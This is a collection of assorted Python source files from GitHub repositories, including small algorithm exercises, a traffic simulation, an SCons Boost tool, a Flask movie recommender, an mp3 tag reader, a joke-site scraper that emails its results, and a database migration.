+{"seq_id":"12492800704","text":"# Write a python program to find the square root of the given number\n# using approximation method\n\n# testcase 1\n# input: 25\n# output: 4.999999999999998\n\n# testcase 2\n# input: 49\n# output: 6.999999999999991\n'''\nAuthor : VISWAS\nDate : 03 August 2018\nEncoding: utf-8\n\n'''\ndef main():\n    ''' This function computes the square root\n     of given number using Newton- Rapson method'''\n    square = int(input())\n    epsilon = 0.01\n    guess = square / 2.0\n    while abs(guess**2 - square) >= epsilon:\n        guess = guess - (((guess ** 2) - square) / (2 * guess))\n    print(guess)\nif __name__ == \"__main__\":\n    main()\n","repo_name":"viswasvarmaK/cspp1","sub_path":"cspp1_practise/M5/p4/square_root_newtonrapson.py","file_name":"square_root_newtonrapson.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"19227842304","text":"# -*- coding: utf-8 -*-\n\nfrom apscheduler.scheduler import Scheduler\nfrom dao import dbop\n\n@dbop\ndef create_table_call_log():\n    from models import Call_Log_Next\n    from models import T_Callstat_Next\n    Call_Log_Next.create_table(True)\n    T_Callstat_Next.create_table(True)\n\ndef main():\n    sched = Scheduler()\n    #添加定时任务\n    sched.add_interval_job(create_table_call_log, hours=4)\n    sched.start()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"xianglei0610/billing","sub_path":"trunk/src/cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"9210314586","text":"# simulation_step.py\n# The function defined here takes the current situation\n#   autobahn_old = array of 0 and 1 indicating whether there is a car present in\n#       a certain grid cell,\n#   velocity_old = array of numbers in [0, v_max] that save the velocity of the\n#       car in a specific grid cell\n# and returns the situation after one time interval\n#   autobahn_new, velocity_new\n\nfrom numpy import zeros\nfrom random import random as rand\n\ndef one_step(autobahn_old, velocity_old, v_max, p):\n    num_cells = len(autobahn_old)\n    autobahn_new = zeros(num_cells)\n    velocity_new = zeros(num_cells)\n    \n    # first step: acceleration\n    for i in range(num_cells):\n        if autobahn_old[i] == 1:\n            velocity_old[i] = min(velocity_old[i] + 1, v_max)\n    \n    # second step: deceleration\n    for i in range(num_cells):\n        if autobahn_old[i] == 1:\n            dist = 0\n            while dist <= v_max + 1:\n                if autobahn_old[(i + dist + 1) % num_cells] == 1:\n                    break\n                dist += 1\n            if dist <= v_max:\n                velocity_old[i] = max(dist - 1, 0)\n    \n    # third step: driving slowly\n    for i in range(num_cells):\n        if autobahn_old[i] == 1:\n            if rand() < p:\n                velocity_old[i] = max(velocity_old[i] - 1, 0)\n    \n    # fourth step: actually driving\n    autobahn_new = zeros(num_cells)\n    velocity_new = zeros(num_cells)\n    for i in range(num_cells):\n        if autobahn_old[i] == 1:\n            new_index = int(i + velocity_old[i])%num_cells\n            autobahn_new[new_index] = 1\n            velocity_new[new_index] = velocity_old[i]\n    \n    return [autobahn_new, velocity_new]\n\ndef multi_step(autobahn, velocity, v_max, p, num_steps):\n    for i in range(num_steps):\n        [autobahn, velocity] = one_step(autobahn, velocity, v_max, p)\n    \n    return [autobahn, velocity]\n","repo_name":"mivogu/lab_course_traffic","sub_path":"simulation_step.py","file_name":"simulation_step.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"30008450399","text":"import sys\nimport argparse\n\nimport pandas as pd\n\nfrom build_model import Model\nfrom util import data_loader\nfrom util import build_embeddings\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='reads input file and trains\\\n                                     a model for toxicity classification')\n\n    # Required arguments\n    parser.add_argument(\"-i\", \"--input\", required=True,\n                        help=\"Path to training set\")\n    parser.add_argument(\"-t\", \"--test\", required=True,\n                        help=\"Path to test set\")\n    parser.add_argument(\"-o\", \"--output\", required=True,\n                        help=\"Path to submission file\")\n    parser.add_argument(\"-e\", \"--embedding\", required=True,\n                        help=\"Path to embedding file\")\n\n    # Optional arguments\n    parser.add_argument(\"-c\", \"--text_column\", type=str, default=\"commnet_text\",\n                        help=\"name of the column that contains the text\")\n    parser.add_argument(\"-l\", \"--label_column\", type=str, default=\"target\",\n                        help=\"name of the column that contains the labels\")\n    parser.add_argument(\"-p\", \"--preprocess\", type=bool, default=False,\n                        help=\"if set the text will be processed\")\n    parser.add_argument(\"-m\", \"--model\", type=str, choices=['LSTM', 'CNN'],\n                        default=\"LSTM\", help=\"the deep neural network\")\n\n    args = vars(parser.parse_args())\n\n    # Loading the data\n    X_train, y_train, X_test, tokenizer = data_loader(args['input'],\n                                                      args['test'],\n                                                      args['text_column'],\n                                                      args['label_column'],\n                                                      args['preprocess'])\n    # Loading the embeddings\n    word_index = tokenizer.word_index\n    embedding_matrix = build_embeddings(args['embedding'], word_index)\n\n    # building the model\n    model_selection = args['model']\n    Model = Model()\n    if model_selection == 'LSTM':\n        Model.buil_lstm()\n    elif model_selection == 'CNN':\n        Model.build_cnn()\n    else:\n        raise ValueError(\"the model must be CNN or LSTM\")\n\n    # Training the model\n    Model.train(X_train, y_train)\n\n    # Predicting the labels for test set\n    test_df = pd.read_csv(args['test'])\n    Model.predict(X_test, test_df, args['output'])\n\nif __name__ == '__main__':\n\tsys.exit(main())\n","repo_name":"abfarahani/Toxicity-Classification","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"30198948129","text":"import os\nimport os.path\nfrom music_wave.rola import Rola\nfrom mutagen.id3 import ID3\n\nclass Miner :\n    \"\"\"Miner class, used to read ID3v2.4 tags from mp3 files.\"\"\"\n\n    def __init__(self, path):\n        \"\"\"Defines a new miner to read ID3v2.4 tags from mp3 files\n           in a directory.\n\n           Parameters:\n           path (str) : The directory path. \"\"\"\n        self.path = path\n        self.rolas = {}\n        self.performers = {}\n        self.albums = {}\n        self.processed_files = 0\n        self.paths = []\n        self.total_files = 0\n\n        self.rola_count = 1\n        self.album_count = 1\n        self.artist_count = 1\n\n        self.albums = {}\n        self.albums[\"Unknown\"] = 0\n        self.performers = {}\n        self.performers[\"Unknown\"] = 0\n        self.rolas = {}\n        self.paths = []\n\n    def setup(self):\n        \"\"\"Method that sets the miner instance variables to default values,\n           it is necessary to run before executing the tag mining.\"\"\"\n        self.rolas = {}\n        self.performers = {}\n        self.albums = {}\n        self.processed_files = 0\n        self.paths = []\n        self.total_files = 0\n\n        self.rola_count = 1\n        self.album_count = 1\n        self.artist_count = 1\n\n        self.albums = {}\n        self.albums[\"Unknown\"] = (0, 0)\n        self.performers = {}\n        self.performers[\"Unknown\"] = 0\n        self.rolas = {}\n        self.paths = []\n\n    def walk(self):\n        \"\"\"Method that fills the miner's path list with all the paths\n           of the mp3 files which are inside the directory specified in\n           the constructor.\"\"\"\n        for root, directories, files in os.walk(self.path):\n            for file in files:\n                if file.endswith('.mp3'):\n                    self.paths.append(os.path.abspath(os.path.join(root, file)))\n        self.total_files = len(self.paths)\n\n    def mine(self, path) :\n        \"\"\"Method that retrieves the ID3v2.4 tags from an specific mp3 file,\n           and stores them in the miner's dictionaries for rolas, albums\n           and performers.\n\n           Parameters:\n           path (str) : The mp3 file path. \"\"\"\n        self.processed_files += 1\n        audio = ID3(path)\n\n        artist_id = 0\n        try:\n            artist = audio['TPE1'].text[0]\n            if artist in self.performers.keys() :\n                artist_id = self.performers[artist]\n            else :\n                self.performers[artist] = self.artist_count\n                artist_id = self.artist_count\n                self.artist_count += 1\n        except:\n            pass\n\n        try:\n            year_tag = audio['TDRC'].text[0]\n            year_tag = str(year_tag)\n            year = int(year_tag)\n        except:\n            year = 2018\n\n        album_id = 0\n        try:\n            album = audio['TALB'].text[0]\n            if album != [] :\n                if str(album) in self.albums.keys() :\n                    album_id = self.albums[str(album)][0]\n                else :\n                    self.albums[str(album)] = (self.album_count, year)\n                    album_id = self.album_count\n                    self.album_count += 1\n        except:\n            pass\n\n        try:\n            title_tag = audio['TIT2'].text[0]\n            title = str(title_tag).replace(\"'\", \"´\")\n        except:\n            title = \"Unknown\"\n\n        try:\n            track_tag = audio['TRCK'].text[0]\n            track = int(track_tag.split(\"/\")[0])\n        except:\n            track = 0\n\n        try:\n            genre = audio['TCON'].text[0]\n\n        except:\n            genre = \"Unknown\"\n\n        path_string = str(path)\n        rola = Rola(id=self.rola_count, performer_id=artist_id,\n                    album_id=album_id, path=path_string,\n                    title=title, track=track, year=year, genre=genre)\n        self.rolas[self.rola_count] = rola\n        self.rola_count += 1\n\n    def get_rolas(self) :\n        \"\"\"Method that returns the miner's rolas dictionary, whose keys\n           are the id_rola for each rola, and whose values are rola objects.\n\n           Returns: the rolas dictionary.\"\"\"\n        return self.rolas\n\n    def get_performers(self) :\n        \"\"\"Method that returns the miner's performers dictionary, whose keys\n           are the name for each performer, and whose values are the\n           id_performer for each performer.\n\n           Returns: the performers dictionary.\"\"\"\n        return self.performers\n\n    def get_albums(self) :\n        \"\"\"Method that returns the miner's albums dictionary, whose keys\n           are the name for each album, and whose values are the\n           id_album for each album.\n\n           Returns: the albums dictionary.\"\"\"\n        return self.albums\n\n    def get_processed_files(self):\n        \"\"\"Method that returns the number of mp3 files that the miner has read\n           since the last setup method call.\n\n           Returns: the number of processed mp3 files.\"\"\"\n        return self.processed_files\n\n    def get_total_files(self):\n        \"\"\"Method that returns the number of mp3 files that the miner have to\n           read until the next setup method call.\n\n           Returns: the number of mp3 files to process.\"\"\"\n        return self.total_files\n\n    def get_paths(self):\n        \"\"\"Method that returns the list of paths of the mp3 files inside of the\n           directory specified in the constructor.\n\n           Returns: list of mp3 files paths.\"\"\"\n        return self.paths\n","repo_name":"alanarteagav/musicWave","sub_path":"music_wave/miner.py","file_name":"miner.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"12277643670","text":"# -*- python -*-\n\n\nimport os\nimport SCons.Util\n\n_options = None\n\nliblibs = [ 'boost_unit_test_framework',\n            'boost_prg_exec_monitor',\n            'boost_test_exec_monitor',\n            'boost_wave' ]\n\ndef boost_libflags(env):\n  newlibs = []\n  for lib in env['LIBS']:\n    if SCons.Util.is_String(lib) and \\\n           lib.startswith(\"boost_\") and \\\n           not lib.endswith(\"$BOOST_LIBRARY_SUFFIX\"):\n      if env['PLATFORM'] == 'msys' and lib in liblibs:\n          lib = 'lib'+lib\n      newlibs.append(lib+\"$BOOST_LIBRARY_SUFFIX\")\n    else:\n      newlibs.append(lib)\n  env['LIBS'] = newlibs\n  result = env.subst(env['_boost_save_libflags'])\n  return result\n\n\ndef _append_boost_library(env, libname):\n  if env['PLATFORM'] != 'darwin' and env['PLATFORM'] != 'msys':\n    env.Append(LIBS=[libname])\n  else:\n    env.Append(LIBS=[libname + \"-mt\"])\n\n\ndef boost_version(env):\n  \"\"\"\n  The detection of the boost version depends on an unconventional use of\n  compiler options to query BOOST_VERSION from the boost/version.hpp header\n  file.\n  \"\"\"\n  version = env.get('BOOST_VERSION')\n  if not version:\n    # This command is essentially a copy of CXXCOM, except it cannot\n    # contain the CXXFLAGS.  gcc thinks it is compiling C code since there\n    # is no source file extension to key off, so it complains that\n    # C++-specific flags like c++11 are invalid.  The _CCCOMCOM is\n    # important because it is the CPPPATH expansion.\n    # \n    cppsource = \"\"\"\n#include <boost/version.hpp>\nBOOST_VERSION\n\"\"\"\n    command = str('$CXX -E $CCFLAGS $_CCCOMCOM -o - -')\n    # subst_list returns a list of CmdStringHolder instances inside a list,\n    # so convert it to a simple argument list of strings.\n    cmd = [str(arg) for arg in env.subst_list(command)[0]]\n    import subprocess as sp\n    env.LogDebug(\"boost_version(): %s\" % (cmd))\n    subp = sp.Popen(cmd, shell=False, stdin=sp.PIPE, stdout=sp.PIPE,\n                    universal_newlines=True)\n    output = subp.communicate(cppsource)[0]\n    if subp.returncode:\n      print(\"boost_version() failed: %s\" % (cmd))\n      env.Exit(1)\n    version = output.splitlines()[-1]\n    if version:\n      version = int(version)\n      env['BOOST_VERSION'] = version\n    else:\n      version = None\n    print(\"BOOST_VERSION=%s\" % (version))\n  return version\n\n\ndef generate(env):\n  if env.get('BOOST_TOOL_APPLIED'):\n    return\n  env['BOOST_TOOL_APPLIED'] = True\n  global _options\n  if not _options:\n    _options = env.GlobalVariables()\n    _options.Add('BOOST_DIR',\n\"\"\"Set the BOOST installation directory.  Otherwise the default\n is to use the system location.  Specify BOOST_DIR=/usr to force\n the system installation even when a boost directory is found in\n OPT_PREFIX.\"\"\",\n    env.FindPackagePath('BOOST_DIR', '$OPT_PREFIX/boost*'))\n  _options.Update(env)\n  # env.Append(DEPLOY_SHARED_LIBS=['boost_date_time'])\n  # env.Append(DEPLOY_SHARED_LIBS=['boost_serialization'])\n  if 'BOOST_LIBRARY_SUFFIX' not in env:\n    if env['PLATFORM'] == 'win32':\n      env['BOOST_LIBRARY_SUFFIX'] = '-vc71-mt-gd-1_33_1'\n    else:\n      env['BOOST_LIBRARY_SUFFIX'] = ''\n  if 'BOOST_DIR' in env:\n    bdir=env['BOOST_DIR']\n    if bdir and bdir != \"/usr\" and bdir != \"\":\n      env.Append(CPPPATH=[os.path.join(bdir,\"include\")])\n      # Windows installs don't have a separate include directory.\n      env.Append(CPPPATH=[os.path.join(bdir)]);\n      env.AppendUnique(LIBPATH=[os.path.join(bdir,\"lib\")])\n      env.AppendUnique(RPATH=[os.path.join(bdir,\"lib\")])\n  # Override the _LIBFLAGS variable so we can append the suffix for\n  # boost libraries.\n  if '_boost_save_libflags' not in env:\n    env[\"_boost_save_libflags\"] = env[\"_LIBFLAGS\"]\n    env['_LIBFLAGS'] = '${_boost_libflags(__env__)}'\n    env['_boost_libflags'] = boost_libflags\n\n  # Finally add the method for appending specific boost libraries\n  env.AddMethod(_append_boost_library, \"AppendBoostLibrary\")\n  env.AddMethod(boost_version, \"BoostVersion\")\n\n\ndef exists(env):\n  return True\n","repo_name":"NCAR/eol_scons","sub_path":"eol_scons/tools/boost.py","file_name":"boost.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"18765950475","text":"import numpy as np, pandas as pd\nimport sklearn.cluster\nimport pickle \nfrom flask import Flask, render_template, request, jsonify\nimport os, random\nseed = 123\nos.environ['PYTHONHASHSEED']=str(seed)\nrandom.seed(seed)\nnp.random.seed(seed)\n\napp=Flask(__name__)\n@app.route('/')\n@app.route('/index')\ndef index():\n    return render_template('index.html')\n\n@app.route('/input')\ndef input():\n    return render_template('input.html')\n\ndef getRecommendations(prediction_input):\n    new_cluster_obj = pickle.load(open('./pickled_objs/cluster_obj.pkl', 'rb'))\n    new_cluster_movie_rankings = pickle.load(open('./pickled_objs/cluster_movie_rankings.pkl', 'rb'))\n    new_movies = pickle.load(open('./pickled_objs/movies.pkl', 'rb'))\n    new_ratings = pickle.load(open('./pickled_objs/ratings.pkl', 'rb'))\n\n    prediction_input.fillna(-1, inplace=True)\n    new_clusters = new_cluster_obj.fit_predict(prediction_input)\n    print(new_clusters[-1])\n    movie_mean = pd.DataFrame(new_ratings.groupby('movieId')['rating'].mean())\n    new_movies = pd.merge(new_movies, movie_mean, how='right', on='movieId')\n    movies_to_recommend = new_cluster_movie_rankings[new_clusters[-1]]\n    movies_to_recommend = movies_to_recommend[movies_to_recommend['weighted_score'] > .75]\n    movies_to_recommend = movies_to_recommend[movies_to_recommend['count'] > 0.2]\n    \n\n    movies_to_recommend = pd.merge(movies_to_recommend, new_movies, on='movieId', how='left')\n    idx = (new_ratings['movieId'].value_counts().head(10).index)\n    idx = idx.append(new_ratings['movieId'].value_counts()[100:110].index)\n    idx = idx.append(new_ratings['movieId'].value_counts()[500:510].index)\n    movies_to_recommend = movies_to_recommend[~movies_to_recommend['movieId'].isin(idx)]\n    movies_to_recommend = movies_to_recommend.sort_values(['count','weighted_score','mean'], ascending=False)\n    return (new_clusters[-1], movies_to_recommend[['title', 'genres']])\n\n@app.route('/result',methods = ['POST'])\ndef result():\n    new_movies = pickle.load(open('./pickled_objs/movies.pkl', 'rb'))\n    ratings = pickle.load(open('./pickled_objs/ratings.pkl', 'rb'))\n    idx = (ratings['movieId'].value_counts().head(25)).index\n    films = ratings[ratings['movieId'].isin(idx)]\n    small_movies = new_movies[new_movies['movieId'].isin(films['movieId'])]\n    small_ratings = ratings[ratings['movieId'].isin(small_movies['movieId'])]\n    ratings_pivot = small_ratings.pivot(index=\"userId\", columns='movieId', values='rating').fillna(-1)\n\n    if request.method == 'POST':\n        data_dict = request.form.to_dict()\n        df = pd.DataFrame([data_dict], columns=data_dict.keys())\n        df.columns = (df.columns).astype(int)\n        df = df.replace('', -1)\n        copy = ratings_pivot.append(df).fillna(0)\n        cluster, result = getRecommendations(copy)\n        return render_template(\"result.html\", data=result.to_html(), cluster_group=cluster)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"JaleelSavoy/movie_recommendations","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"12499436767","text":"#encoding=utf-8\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport datetime\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport time\n\ndef getPageNum():\n    url='https://www.qiushibaike.com'\n    myHeaders = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',\n        'Accept': 'text/plain, */*; q=0.01',\n        'Accept-Encoding': 'gzip, deflate, sdch, br',\n        'Accept-Language': 'zh-CN,zh;q=0.8',\n        'Connection': 'keep-alive',\n    }\n\n    html=requests.get(url,headers=myHeaders)\n    soup=BeautifulSoup(html.content,'lxml')\n    #pagelink=soup.find_all(class__='pagination')\n    #print(soup)\n    pagelink=soup.find_all('ul','pagination','li')\n    # print(pagelink)\n    pagelink = BeautifulSoup(str(pagelink),'lxml')\n    #print(pagelink)\n    lista=[]\n    listb=[]\n    for i in pagelink.find_all('a'):\n        links=i.get('href').strip()\n        nums=i.span.text.strip()\n        if nums !='下一页':\n            link=url+links\n            num=nums\n            #print(num+' '+link)\n            lista.append(link)\n            listb.append(int(num))\n    #print(lista)\n    #print(listb)\n    dicts=dict(zip(listb, lista))\n    pageMax=max(listb)\n    linkMax=dicts.get(max(listb))\n    #print(str(pageMax)+' '+linkMax)\n    return pageMax,linkMax\n\ndef getContext(texturl):\n    myHeaders = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',\n        'Accept': 'text/plain, */*; q=0.01',\n        'Accept-Encoding': 'gzip, deflate, sdch, br',\n        'Accept-Language': 'zh-CN,zh;q=0.8',\n        'Connection': 'keep-alive',\n    }\n    newresponse = requests.get(texturl,myHeaders)\n    info = BeautifulSoup(newresponse.content, 'lxml')\n    contentRaw = info.find(class_='content')\n    # content = info.find(class_='content').text.strip()\n    # print(contentRaw)\n    contentRaw = str(contentRaw).replace('<br/>', '\\n')\n    contentRaw = str(contentRaw).replace('<br>', '\\n')\n    content = BeautifulSoup(contentRaw, 'lxml')\n    content = content.text.strip()\n    return content\n\ndef getOnePage(oneurl):\n    myHeaders = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',\n        'Accept': 'text/plain, */*; q=0.01',\n        'Accept-Encoding': 'gzip, deflate, sdch, br',\n        'Accept-Language': 'zh-CN,zh;q=0.8',\n        'Connection': 'keep-alive',\n    }\n    #oneurl='https://www.qiushibaike.com/8hr/page/1/'\n    r=requests.get(oneurl,headers=myHeaders)\n    soup_page=BeautifulSoup(r.content,'lxml')\n    #print(soup_page)\n    stories=soup_page.find_all(class_=re.compile('^article block untagged mb15'))\n    #print(stories)\n\n    list=[]\n    for story in stories:\n        nums = story.ul.text.replace('\\n', '')\n        # print(nums)\n        up = int(nums.split('-')[0])\n        # print(up)\n        down = int(nums.split('-')[-1])\n        # print(down)\n        dzs = up - down\n        #print(dzs)\n\n        if dzs>=2000 :\n            k=BeautifulSoup(str(story),'lxml')\n            isImg=k.find_all(class_='thumb')\n            isAllMesage=k.find_all(class_='contentForAll')\n            isContens = k.find_all(class_='content')\n            #print(isAllMesage)\n            article = k.find(class_='contentHerf')\n            alink=article.get('href')\n            #print(alink)\n            newurl = 'https://www.qiushibaike.com' + alink\n            if len(isImg):\n                #print('有照片')\n                pass\n            else:\n                user = story.h2.text.strip()\n                content=getContext(newurl)\n\n                # print('作者：%s      点赞数:%d     链接：%s'%(user,dzs,newurl))\n                # print(content)\n                list.append([user,dzs,content,newurl])\n    #print(list)\n    return list\n\n\n\ndef getAllPage():\n    pageMax,linkMax=getPageNum()\n    #print(str(pageMax) + ' ' + linkMax)\n    pageinfo={}\n    #links=['https://www.qiushibaike.com/8hr/page/','https://www.qiushibaike.com/hot/page/','https://www.qiushibaike.com/text/page/']\n    # while pageMax>0:\n    #     page=pageMax\n    #     for link in links:\n    #         setLink=link+str(page)+'/'\n    #         # print(str(page)+'  '+link)\n    #         print('page:%d  pagelik:%s'%(page,setLink))\n    #         infos=getOnePage(setLink)\n    #         pageinfo['pagelink '+setLink]=infos\n    #     pageMax-=1\n    #随机选三个模块中一个进行抓取，根据当前星期几\n    today = datetime.date.today()\n    isoweekday = datetime.date.isoweekday(today)\n    i=isoweekday%3\n    #print(i)\n    links={0:'https://www.qiushibaike.com/8hr/page/',1:'https://www.qiushibaike.com/hot/page/',2:'https://www.qiushibaike.com/text/page/'}\n    link=links.get(i)\n    #print(link)\n    while pageMax>0:\n        page=pageMax\n        setLink=link+str(page)+'/'\n        # print(str(page)+'  '+link)\n        print('page:%d  pagelik:%s'%(page,setLink))\n        infos=getOnePage(setLink)\n        time.sleep(2)\n        pageinfo['pagelink '+setLink]=infos\n        pageMax-=1\n    return pageinfo\n\ndef saveStories(myDict):\n    #myList=[['打不死的至尊宝', 13030, '大家的童年是不是这样的： 花一毛钱买一袋汽水，在袋角咬个小洞洞喝一下午，然后再往里面吹气，拧紧，再一脚踩爆', 'https://www.qiushibaike.com/article/119388480']]\n    #myDict={'page1':myList}\n    date=datetime.datetime.now().strftime('%Y%m%d')\n    fileName='qsbk'+date+r'.txt'\n    saveTextPath=r'F:\\qsbk2MyEmail'+'\\\\'+fileName\n\n\n    file=open(saveTextPath, 'w', encoding='utf8') #打开要保存文件\n    print('进入排序，请等待....')\n    #传入字典只取values\n    dictValues = myDict.values()\n    allList = []\n    #将传入dict.values改为list\n    for pageLists in dictValues:\n        for textLists in pageLists:\n            allList.append(textLists)\n\n    #myDict.clear() #清除字典值\n    #print(allList)\n\n    #去重\n    allListQC =[]\n    for one in allList:\n        if one not in allListQC:\n            allListQC.append(one)\n    #allList.clear()\n    # 把list按照点赞数排降序\n    allPageLists = sorted(allListQC, key=lambda x:x[1], reverse=True)\n    #allListQC.clear()\n    print('排序完成！')\n    print('写入文件，请等待...')\n    id=1\n    for textList in allPageLists:\n        #print(textList)\n        firstLine='序号: '+str(id)+'      作者: '+textList[0]+'      点赞数: '+str(textList[1])+'      链接: '+textList[3]\n        secondLine=str(textList[2])+'\\n\\n'\n        allLine=firstLine+'\\n'+secondLine\n        # print(firstLine)\n        # print(secondLine)\n        #print(allLine)\n        file.write(allLine)\n        id+=1\n    file.close()\n    allPageLists.clear()\n    print('文件写入完成！')\n    return saveTextPath,fileName\n\n\n\ndef send_email(SMTP_host, from_addr, password, to_addrs, subject='', content=''):\n    \"\"\"\n    发送邮件\n    :param SMTP_host: smtp.163.com\n    :param from_addr: 发送地址：xxx@163.com\n    :param password: 密码: password\n    :param to_addrs: 发送给谁的邮箱： xxx@qq.com\n    :param subject:  邮件主题： test\n    :param content:  邮件内容： test\n    :return: None\n    \"\"\"\n    msg = MIMEMultipart()\n    msg['from'] = from_addr\n    msg['to'] = to_addrs\n    msg['subject'] = subject\n    content = content\n    txt = MIMEText(content)\n    msg.attach(txt)\n\n    #SMTP\n    # smtp = smtplib.SMTP()\n    # smtp.connect(SMTP_host, '25')\n\n    #SMTP_SSL\n    smtp = smtplib.SMTP_SSL(SMTP_host,'465')\n    smtp.login(from_addr, password)\n    smtp.sendmail(from_addr, to_addrs, str(msg))\n    smtp.quit()\n\n\nif __name__=='__main__':\n    textPath, fileNM='',''\n    try:\n        infomations=getAllPage()\n        textPath,fileNM=saveStories(infomations)\n        # textPath, fileNM = r'F:\\qsbk2MyEmail\\qsbk20170811.txt', 'qsbk20170811.txt'\n        mySmtp_host = 'smtp.qq.com'\n        myFrom_addr = 'xxx@qq.com' \n        myPassword = 'xxxx' #客户端密码\n        ###########163信箱老是报smtplib.SMTPHeloError: (500, b'Error: bad syntax') ，故选择qq邮箱发给自己\n        # mySmtp_host = 'smtp.163.com'\n        # myFrom_addr = 'xxxxx@163.com'\n        # myPassword = 'xxxxx'  #客户端密码\n        myTo_addrs='xxxx@qq.com'#接受邮箱\n        mySubject = fileNM\n        file = open(textPath, 'r', encoding='utf-8')\n        myContent = file.read()\n        file.close()\n        send_email(mySmtp_host, myFrom_addr, myPassword, myTo_addrs, mySubject, myContent)\n        print('邮件已成功发送了!')\n        logfile=open(textPath.strip(fileNM)+'logfile.txt','a',encoding='utf-8')\n        logfile.write(fileNM+' : 邮件已成功发送了!\\n')\n        logfile.close()\n\n    except smtplib.SMTPException as emailErr:\n        print(emailErr)\n        logfile=open(textPath.strip(fileNM)+'logfile.txt','a',encoding='utf-8')\n        logfile.write(fileNM+' : '+str(emailErr)+'\\n')\n        logfile.close()","repo_name":"wangy1b/MyPythons","sub_path":"qb2MyEmail.py","file_name":"qb2MyEmail.py","file_ext":"py","file_size_in_byte":9029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"15130482890","text":"class Solution:\n    def trap(self, arr: List[int]) -> int:\n        left,right = 0,len(arr)-1\n        leftmax=rightmax=0\n        res=0\n        while left<=right:\n            if leftmax<rightmax:\n                leftmax=max(leftmax,arr[left])\n                res+=leftmax-arr[left]\n                left+=1\n            else:\n                rightmax=max(rightmax,arr[right])\n                res+=rightmax-arr[right]\n                right-=1\n        return res","repo_name":"iamcvarma/DSA-leetcode","sub_path":"42-trapping-rain-water/42-trapping-rain-water.py","file_name":"42-trapping-rain-water.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"27711120548","text":"def permuteUnique(nums):\n    \"\"\"\n    :type nums: List[int]\n    :rtype: List[List[int]]\n    \"\"\"\n\n    res = []\n\n    def backtrack(curr, arr):\n        if len(curr) == len(nums):\n            temp = list(curr)\n            res.append(temp)\n            return\n\n        for i in range(len(arr)):\n            curr.append(arr[i])\n            backtrack(curr, arr[:i] + arr[i+1:])\n            del curr[-1]\n\n    backtrack([], nums)\n\n    return res\n\nprint(permuteUnique([1,2,2]))\n","repo_name":"IM-MC/LCsol","sub_path":"351.py","file_name":"351.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"22918694469","text":"\"\"\"Initial Migration\n\nRevision ID: 2e1182ee5492\nRevises: None\nCreate Date: 2016-02-12 01:39:48.871140\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '2e1182ee5492'\ndown_revision = None\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('cde_job',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('job_id', sa.String(), nullable=False),\n    sa.Column('created_at', sa.DateTime(), nullable=False),\n    sa.Column('text', sa.String(), nullable=True),\n    sa.Column('file', sa.String(), nullable=True),\n    sa.Column('url', sa.String(), nullable=True),\n    sa.Column('result', postgresql.JSONB(), nullable=True),\n    sa.PrimaryKeyConstraint('id')\n    )\n    ### end Alembic commands ###\n\n\ndef downgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('cde_job')\n    ### end Alembic commands ###\n","repo_name":"DSSCSensors/dssc-sensors.github.io","sub_path":"ideweb-master/ideweb-master/migrations/versions/2e1182ee5492_initial_migration.py","file_name":"2e1182ee5492_initial_migration.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
